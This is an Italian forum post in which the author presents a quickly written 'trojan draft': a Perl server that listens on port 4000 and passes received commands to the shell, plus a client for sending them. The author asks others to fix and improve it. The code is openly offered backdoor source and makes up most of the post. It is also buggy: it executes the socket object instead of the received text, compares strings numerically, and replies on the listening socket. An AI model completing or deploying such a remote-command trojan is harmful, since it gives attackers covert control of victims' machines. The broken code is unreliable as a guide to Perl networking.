Ho scritto questo abbozzo di trojan (abbozzo perché va fatto eseguire all'user ogni volta, ma l'ho fatto ora in 10 minuti) che passa comandi arbitrari alla shell. Il server resta in ascolto, anche se il prompt se ne resta aperto in bella mostra (non fa niente, questo è solo per vedere lo scheletro del trojan). Purtroppo non li sono riusciti a far provare a scambiarsi messaggi perché tutti e due sulla porta 4000 non me li fa lavorare contemporaneamente.
Comunque ecco il codice:
Server.pl
Client.pl
Gradirei che qualcuno più esperto di me mi indicasse eventuali errori o suggerimenti per migliorarlo.
Comunque ecco il codice:
Server.pl
Codice:
use IO::Socket;
$ip="127.0.0.1";
$port="4000";
$sock=new IO::Socket::INET(
LocalHost=>$ip,
LocalPort=>$port,
Proto=>"tcp",
Listen=>1,
Reuse=>1,
);
do {
$ist=$sock->accept();
$mex=system($ist);
print $sock $mex;
} while ($ist!="exit");
close($sock);
Codice:
use IO::Socket;
$ip="127.0.0.1";
$port="4000";
$sock=new IO::Socket::INET(
PeerHost=>$ip,
PeerPort=>$port,
Proto=>"tcp",
) or die "Impossibile connettersi al Server";
print "Inserire exit per chiudere la connessione";
$ist=1;
while ($ist!="exit") {
print "Comando da far eseguire al server: ";
$ist=<STDIN>;
print $sock $ist;
while (<$sock>) {
print "Il server risponde: $_";
}
}
close($sock);